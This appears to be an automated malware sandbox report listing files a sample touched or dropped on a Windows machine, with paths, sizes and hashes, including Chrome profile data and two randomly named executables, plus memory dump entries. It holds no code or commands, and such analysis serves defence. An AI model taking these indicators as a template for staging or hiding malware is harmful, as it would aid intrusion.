SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\000003.log
Size 3KB
SHA256 72c2e8de1eee3a073d22e4e76422630d357f780ebad5a9200d416699c6c4a5db
MD5 da7a42f75f41126e49940edf99fe9cdb
SHA1 26e60aeca9c5266a624e846323b75ce4396a6ade
SHA512 a4c49158b9b5f18a6fb87ef8ebd09b0ef0206ef1743c52c1feae9bfdeda4f110cecc0739ef3954fd0f56c2f706a80d773f8ce0b8e57e612091e94db3913e9881
TLSH
T1FC818D6EB509084EE4AD0937CD78571B5F69CF0C27FE3767A9DF8A0409B4A5701086E3
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG
Size 330B
SHA256 eee65a1d787148c899dd307fe701c8c690e40a5c7b1ca58822e34f287ebb157e
MD5 79ffd1afcf0c7e0d0b9ee75ee5f67ccc
SHA1 e34f90e9a49592d09386fdb33d7d1d151dd7fa3a
SHA512 6a5f292f07749745f42ddc50ef77e42eb5f191f3bb1bab779a9fd086752a79108b024782ec28601fe3fe671e8eabc7df06e350bea9a701c416fcd3e43722fb10
TLSH
T1C3E07D052ACAD3BD7055826307A5934DC7E5B407E2CDB8025F08E4442ACB80872F7640
MD5 SHA1 SHA512 TLSH

Submit Download

67a473248953641b_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\67a473248953641b_0
Size 121KB
SHA256 d0c08f31de1f646818f0925112077cd3052b50d4fd18ca75d1d3ec5af9281df8
MD5 842897decb46b70d70b3d543e82db7c1
SHA1 79b8d93aa9c3b6dba587a199ccf489b7527fc859
SHA512 9517543c7f24815d3a2d7e24c09b5a4af11c47509ce2817b89a47c16fbec88a14c92ae38540c23c522bb6259b920fe3709ae50d3689d8c5420b24d00c841daab
SSDEEP 3072:r3zCum5nHBRKbYK2ANj6a/4rxMwDLE2sz:rwB34GASx/DLETz
TLSH
T1B3C3E9CCB7A574664363A5B6002F000FB23AB8AAE44C85A8F188D9E97D7446D4377F7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 96B
SHA256 540e43240c2bf6961c7a393eb6191cdb50259c06da9ccaa6c6b4e5a741edc02b
MD5 c2ddd989e64958d01eb3e23ec85a62fe
SHA1 7a1270f05231fcfe32ab13b1aaed132abdb24043
SHA512 bb68cda38c1369607a783f727c8790c2d98e13d5214223974b879f8e82d20701f7e49284e4619df243081459e3a768b71592d4b2134215c876633a1fde60efe1
TLSH
T15DB00255C113A722D04357B03595D9D87361DF2AC74312169AE01FA7DE26A7345262B0
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
Size 289B
SHA256 0768e811c51ac61a8e573ac6b53f89dbb1d89eb2fcf62536a9a5f730329c584b
MD5 541c42f1c98b3e1b011d22eba854e707
SHA1 db30188de1f22e3077e7044be1386a5d0ecaed9d
SHA512 47828c1b40deb8d37d6ff4fc8f7673fbb59b40e07f54f0fa4121b91941160134c251e20f7f28f7ee5185f3c8aee2b7e95a1bef573bc64c68912016accbe90604
TLSH
T1B2D002D812C1F027FCD986300D4723302F21D8BD1F311D43C4CD35D0061FA653401441
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
Size 320B
SHA256 725547698c14f595d6bc1b39e817ddd3bc0d87dff162dbb319307f52c1d3c8f3
MD5 f6af6d14bf54dcdea991354c38e31328
SHA1 2a75ddb2f4b9714e3546366832a40fb01350e4d3
SHA512 6f9c163c49e5d1b72ff9f999f8a5a96cd63e087822df9d6956ffa323e9d690128341a86bc1aae14eb52eb9cc1877be746c1a8dcba1d0a79e78125ef47783db6f
TLSH
T13EE0265D269BC16E005885B71730638FC6E23401E3DCBA020711E588728C4056AD5690
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
Size 342B
SHA256 5664495c30944dd4931d4091de3a345b0b2fe71a008b6784df989669114c56ad
MD5 49b7ef70971bdd0db6e819b308e6bcd7
SHA1 011c688547e0f44383251c6d21b6df83bf395ca6
SHA512 b6049780b24d0be2d7ce001fadff712be5250e634c4a1cc61f466415393489f74da884d947b4700b4b894d8d70742b013ae76ee47959e0ce36300148bb36810c
TLSH
T177E0262527CAC76F718681AB6320E34DC6E27801F6EEA4136F0EF086768D60471E7A41
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
Size 321B
SHA256 eebcbd5a3570af499f2337f82eaa969b7bd360a6505ba2f8164fed7908a6e2e3
MD5 f8a303b98c863b76c7075ccf783e2917
SHA1 5343d9d76e4f41fe2042ee26095845ca2c373454
SHA512 99e5716c326eead31de37377ef999d50d2b4043bb7ff2951c06a0e5ae5539d264d550eb7618fc41b952da63d9f3382c22afb41ac7859b2a607e31f46a523d9fb
TLSH
T16CE026B427CEC2BD0048D1A34370A34EC7F1780593C93D0B4708E84671C4A0465E9AE0
MD5 SHA1 SHA512 TLSH

Submit Download

QuotaManager-journal

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\QuotaManager-journal
Size 12KB
SHA256 bf9e41ff1f6e637df1ce880442f86fe20c143059174924555ec127f59697bff9
MD5 275150dcbabab493d56c4eb1bf461a11
SHA1 88f4f1d371614af1a300d4d31b9930f5b008a5f2
SHA512 a06831e57da3a7b4ffc0accdf7c4e9f4b823815c3641e7c4c0112f4e64357bad8f1571be804e8287a67ae84c474479cc3b89a19a43c7a710a26f91716227899c
SSDEEP 12:OqVkIOEplQRXXwX4HgRmLULIfT/b6qVki/j:OQg4QRXXwX4HgRmLULGj6Qbb
TLSH
T1C54222AE78448447C429003CD6DFD8927D250D2C3EA329092CE498191CBE113C408BC3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log
Size 22KB
SHA256 58a94430bed279d085a6626e27fefe1eb4a1be03ecf746e581b329b7acccf661
MD5 f015c6c6d64edd440a4db0e9726bf882
SHA1 fef795948f95c8daefc702a88f93ef9220b5afa3
SHA512 e5442ef7f45692d64e4fb274c97e53bbcffdf93b36a4f9aa2330676c689029aa33ba9a476168ded8aeafc8aacacfe76bd3c8334080188c10cc296f5269f92c0a
SSDEEP 384:5Z0sZsdGBXKQXIIImbGMIMNBVLW6sdGPQzdMsdGPCliosdGIN:rXKQXnZN
TLSH
T14FA2D996A3F01B87CCDF97FBB895CCEA07B3DC89C4561001E4A1A6FE2473E064991796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG
Size 314B
SHA256 05ea16287e4a3d15d934fe9f8c6a068c9b857bd459db0b3552a11ff44b961e92
MD5 ce59878f0a7651f95ff6eb7f6fbcb7a2
SHA1 ed8acf9ff3c1eba114506a1ae20998e53e438791
SHA512 932655557e9d621f03c4a554ebc3726f88a19d604296b323b41432eaac54b128bb3b25f01ea4117fe6bbdfd7b0aae0dc983880337576845dea2955402676efbe
TLSH
T18FE026847ACAE2FE701591AB0220538DC6C1390EEAFC34068F04D04A708E00467E9A40
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 fbca3f0f1f98340fa6947a08d4c4c1c2fa8660f6cb39fe7bc45ff98cddb7244a
MD5 b46f76f7c482ec382b17cc6c8adfd9bc
SHA1 a3209628a2cd15bc6007a19b712c1f559a5097be
SHA512 95c00182c1168b563d4b27661363e4e2cf0791f491a015f3b7d50c2e1df2ae7b4b11ddb6e23b6b02645b85f189e63cf02d5faccee7a01f8dcdf0f02e72a3b8b8
TLSH
T122212462F331C218C289867A543EAB261338D45A9FF8ED0F55B560393EB6F050E0B2E5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG
Size 332B
SHA256 804f9a02b1ceb7d250fd9ab7463ed1949fc668f0604f1644669ea246c0ce5a8d
MD5 4a0fbadb751654fbf125b65c1cb01cd9
SHA1 91b14b3a53d393cdf9449a2c510f9b823052ba26
SHA512 26c92f611fe527fbcb6ce8f7bcdf6e4cecfbfe75738f1ec1a39247264b8d226a1e5cfec7d56af0fd35d0e3fb32ce10ef47c5e399fdf06850e37185fc500b2b22
TLSH
T11BE026087A8AD2EF605181B7036193CDC6D1394AEAFC3E028F04E84A718C0047AEA640
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 f02a8863570557746cdebe42594e5d3c09a565ff4f6b2d50d02868c9cfba06be
MD5 b5856af8d50134ce0fd9144d9bf1714e
SHA1 af577c8134e5d04e2c7d9df6286fab31a7a09413
SHA512 3aa23d42d405d2b49d71bb7f8b674380e862fbaeaf688a1da23808f2e6e4f43b73ca89185be9f78962b2af41cf64a6d5e24e8891ed0b8ad8d6526a4e71defe95
SSDEEP 3072:tGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMi:km7Rkm1tYpBeh2BAoi
TLSH
T1CFC312375E70E9365979AB0EB48E0B1F2EF149A6C930DE92C8D85A0437E97CC1A45E34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations
Size 86B
SHA256 474d668707f1cb929fef1e3798b71b632e50675bd1a9dceaab90c9587f72f680
MD5 16b7586b9eba5296ea04b791fc3d675e
SHA1 8890767dd7eb4d1beab829324ba8b9599051f0b0
SHA512 58668d0c28b63548a1f13d2c2dfa19bcc14c0b7406833ad8e72dfc07f46d8df6ded46265d74a042d07fbc88f78a59cb32389ef384ec78a55976dfc2737868771
TLSH
T175A02407C473C00FFC144051C45C034134F4C047011DD4015070D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_znfz4eua.3h2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_znfz4eua.3h2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

c2JDOfxC_bTh6EN9kWKljUZH.exe

Path C:\Users\Admin\Documents\Screenshot album\c2JDOfxC_bTh6EN9kWKljUZH.exe
Size 4.4MB
SHA256 8bb023f201203ace256591dcfcc01ec24040db5168e94172fdca84372df680ce
MD5 d3493063d2f8d1f6d1c1d69893a67d71
SHA1 42c0c76b28357dc5a64cca1654f9c4f965379d4e
SHA512 4215de9e4ee6892c0486f495a833c32d11ebe52db0f57b97b248ad8acc6f326ba8181b23ba3d9a03075e12b4062e07ea18e97bd2d1ce1fdc33e47fbbbd69682b
SSDEEP 24576:ngFVlPGgCg/Lo9oWlbllm5rbD70RypFp0GG+B57WsKZKdk9a90NtDGqLb5WLCK3i:noVjWbleKkkZfySb5B4FgG8bsOoG/
TLSH
T1CB268C51FD8709B2E506233249E762AB6738AD054F329B9BEA44777EE9732C50C33346
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xuQOJofLc32HfzuEZ6e61OHy.exe

Path C:\Users\Admin\Documents\Screenshot album\xuQOJofLc32HfzuEZ6e61OHy.exe
Size 4.4MB
SHA256 ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e
MD5 99ad2ddf6e557a1c47845ec44fd461ca
SHA1 2abc1eb6da0a9d20b19b10ca1477e03b164032c3
SHA512 3d39d66303174f63c36d4320af57d3d0ae4076f5f335cfe2a98b61cf17a36f433d530d814cb1840972b14c5de04194ee754eb0d189b626bc9bd2ed3ad3ee0db3
SSDEEP 49152:mbLf6J44F4KSnasi4/LsmJK6HBzbsO4iSC:2z6JP5rsi4mLObr
TLSH
T1B9267C00FCD719B6E40623728AA762AB273999064F329797EA44777EFD772D50C32309
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1900-22-0x0000000000400000-0x00000000004DD000-memory.dmp

Download

memory/1900-20-0x0000000000400000-0x00000000004DD000-memory.dmp

Download

memory/1900-9-0x0000000000400000-0x00000000004DD000-memory.dmp

Download

memory/2444-92-0x0000000140000000-0x0000000140095000-memory.dmp

Download

memory/2444-19-0x0000000140000000-0x0000000140095000-memory.dmp

Download

memory/2444-0-0x0000000140000000-0x0000000140095000-memory.dmp

Download

memory/2460-94-0x0000020C49510000-0x0000020C49532000-memory.dmp

Download

memory/4128-18-0x0000000000250000-0x00000000004E5000-memory.dmp

Download

memory/4128-21-0x0000000000250000-0x00000000004E5000-memory.dmp

Download

memory/4128-23-0x0000000021540000-0x0000000021628000-memory.dmp

Download

memory/4128-104-0x0000000021540000-0x0000000021628000-memory.dmp

Download

memory/4128-105-0x0000000021540000-0x0000000021628000-memory.dmp

Download

memory/4128-115-0x0000000021540000-0x0000000021628000-memory.dmp

Download

memory/4128-116-0x0000000000250000-0x00000000004E5000-memory.dmp

Download